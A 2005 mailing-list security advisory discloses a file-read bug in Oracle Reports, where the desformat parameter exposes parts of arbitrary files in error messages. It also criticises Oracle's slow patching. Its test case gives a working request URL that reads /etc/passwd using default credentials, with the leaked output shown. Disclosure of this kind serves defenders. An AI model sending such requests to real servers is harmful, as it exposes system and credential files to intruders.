Message-ID: <1C09DF36EB7A3F489633C919E7413501150D7F@mapibe09.exchange.xchg> Date: Tue Jul 19 13:49:14 2005 From: ak at red-database-security.com (Kornbrust, Alexander) Subject: Oracle Advisory: Read parts of any file via desformat in Oracle Reports Hello 3 months ago (15-april-2005) I informed the Oracle Security Team (secalert_us@...cle.com) that I will publish bug details if the bugs are not fixed with the next critical patch update (CPU July 2005). I know that Oracle products are complex and a good patch quality need some time. That's why I offered Oracle additional time if 3 months are not sufficient for fixing the bugs. Oracle never asked for more time. Oracle's behaviour not fixing critical security bugs for a long time (over 650 days) is not acceptable for their customers. Oracle put their customers in danger. At least one critical vulnerability can be abused from any attacker via internet. I decided to publish these vulnerabilities because it is possible to mitigate the risk of these vulnerabilities by using the workarounds provided in the advisories. Kind Regards Alexander Kornbrust www.red-database-security.com ################################################## Red-Database-Security GmbH - Oracle Security Advisory Read parts of any file via desformat in Oracle Reports Name Read parts of any file via desformat in Oracle Reports Systems Affected All version of Oracle Reports Severity Medium Risk Category Information disclosure Vendor URL http://www.oracle.com Author Alexander Kornbrust (ak at red-database-security.com) Date 19 July 2005 (V 1.00) Advisory AKSEC2003-007 Inital bug report 692 days ago Advisory-URL http://www.red-database-security.com/advisory/oracle_reports_read_any_fi le.html Details ####### Oracle Reports is Oracle's award-winning, high-fidelity enterprise reporting tool. It enables businesses to give immediate access to information to all levels within and outside of the organization in an unrivaled scalable and secure environment. Oracle Reports, a component of the Oracle Application Server, is used by Oracle itself for the E-Business Suite. Many large customers are using Oracle Reports as reporting tool for their enterprise applications. The Oracle Reports parameter desformat can read any file by using an absolute or relative file name. Parts of the file content are displayed in the Reports error message (see test case) The DESFORMAT parameter specifies the format for the job output. In bit-mapped environments, use DESFORMAT to specify the printer driver to be used when DESTYPE is FILE. In character-mode environments, use it to specify the characteristics of the printer named in DESNAME. Testcase ######## http://myserver:7778/reports/rwservlet?server=myserver+report=test.rdf+u serid=scott/tiger@...db+destype=file+MODE=CHARACTER+desformat=/etc/passw d ***Reports Output**** REP-3002: Error in column 5 of line 1 of printer definition file /etc/passwd: Unknown keyword "root".

Patch Information ################# This bug is NOT FIXED with Critical Patch Update July 2005 (CPU July 2005).
